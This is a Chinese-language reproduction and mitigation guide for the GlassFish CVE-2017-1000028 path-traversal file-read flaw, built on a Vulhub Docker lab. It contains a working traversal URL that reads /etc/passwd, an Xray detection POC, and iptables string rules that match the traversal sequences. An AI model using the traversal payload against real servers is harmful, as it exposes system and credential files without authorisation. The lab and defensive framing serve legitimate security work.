GlassFish 任意文件读取漏洞复现
字数 960 2025-08-15 21:33:04

GlassFish 任意文件读取漏洞分析与复现指南

漏洞概述

GlassFish 是一款基于 Java 编写的跨平台开源应用服务器。在 4.1.1 之前的版本中存在一个任意文件读取漏洞(CVE-2017-1000028),攻击者无需认证即可通过特制 URL 读取服务器上的任意文件。

漏洞原理

该漏洞利用 Java 语言对 Unicode 字符的特殊处理:

  • Java 会将 %c0%ae 解析为 \uC0AE,最终转义为 ASCII 字符的 .(点)
  • 通过构造 %c0%ae%c0%ae/ 序列实现目录穿越(等同于 ../
  • 攻击者可利用此特性向上跳转目录,读取服务器上的任意文件

影响版本

所有 GlassFish 版本 < 4.1.1(不包括 4.1.1)

漏洞复现

环境搭建

  1. 使用 Vulhub 提供的 Docker 镜像:

    git clone https://github.com/vulhub/vulhub
    cd vulhub/glassfish/4.1.0
    docker-compose up -d
    
  2. 默认管理员密码:vulhub_default_password(可在 docker-compose.yml 中修改)

  3. 服务端口:

    • 8080:网站内容
    • 4848:GlassFish 管理中心

漏洞验证

无需登录,直接访问以下 URL(将 your-ip 替换为实际 IP):

https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

成功响应将显示 /etc/passwd 文件内容。

Xray POC 示例

name: poc-yaml-glassfish-cve-2017-1000028-lfi
rules:
  - method: GET
    path: /theme/META-INF/%c0%ae%c0%ae/META-INF/MANIFEST.MF
    follow_redirects: true
    expression: |
      response.status == 200 && 
      response.body.bcontains(b"Ant-Version:") && 
      response.body.bcontains(b"Manifest-Version:")      
detail:
  version: <4.1.0
  author: sharecast
  links:
    - https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0

修复方案

1. 关闭远程管理(部分缓解)

./asadmin change-admin-password
./asadmin disable-secure-admin
./asadmin stop-domain
./asadmin start-domain

注意:此方法仅禁用远程登录,漏洞 URL 仍可访问,任意文件读取依然存在。

2. IPtables 规则(针对 HTTP)

iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..\%c0\%af' -j DROP
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '\%c0\%ae/' -j DROP
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '../' -j DROP

限制:无法防御 HTTPS/SSL 加密流量。

3. 禁用 web.xml theme 映射(推荐)

修改文件:
\glassfish4\glassfish\lib\install\applications__admingui\WEB-INF\web.xml

注释掉以下内容:

<!--
<servlet-mapping>
  <servlet-name>ThemeServlet</servlet-name>
  <url-pattern>/theme/*</url-pattern>
</servlet-mapping>
-->

修改后需重启 GlassFish 服务生效。

最佳实践

  1. 升级到 GlassFish 4.1.1 或更高版本
  2. 结合禁用 theme 映射和 IPtables 规则进行防御
  3. 生产环境应考虑将管理端口限制为仅本地访问

参考资料

GlassFish 任意文件读取漏洞分析与复现指南 漏洞概述 GlassFish 是一款基于 Java 编写的跨平台开源应用服务器。在 4.1.1 之前的版本中存在一个任意文件读取漏洞(CVE-2017-1000028),攻击者无需认证即可通过特制 URL 读取服务器上的任意文件。 漏洞原理 该漏洞利用 Java 语言对 Unicode 字符的特殊处理: Java 会将 %c0%ae 解析为 \uC0AE ,最终转义为 ASCII 字符的 . (点) 通过构造 %c0%ae%c0%ae/ 序列实现目录穿越(等同于 ../ ) 攻击者可利用此特性向上跳转目录,读取服务器上的任意文件 影响版本 所有 GlassFish 版本 < 4.1.1(不包括 4.1.1) 漏洞复现 环境搭建 使用 Vulhub 提供的 Docker 镜像: 默认管理员密码: vulhub_default_password (可在 docker-compose.yml 中修改) 服务端口: 8080:网站内容 4848:GlassFish 管理中心 漏洞验证 无需登录,直接访问以下 URL(将 your-ip 替换为实际 IP): 成功响应将显示 /etc/passwd 文件内容。 Xray POC 示例 修复方案 1. 关闭远程管理(部分缓解) 注意:此方法仅禁用远程登录,漏洞 URL 仍可访问,任意文件读取依然存在。 2. IPtables 规则(针对 HTTP) 限制:无法防御 HTTPS/SSL 加密流量。 3. 禁用 web.xml theme 映射(推荐) 修改文件: \glassfish4\glassfish\lib\install\applications__admingui\WEB-INF\web.xml 注释掉以下内容: 修改后需重启 GlassFish 服务生效。 最佳实践 升级到 GlassFish 4.1.1 或更高版本 结合禁用 theme 映射和 IPtables 规则进行防御 生产环境应考虑将管理端口限制为仅本地访问 参考资料 Trustwave Security Advisory TWSL2015-016 Vulhub GlassFish 4.1.0 漏洞环境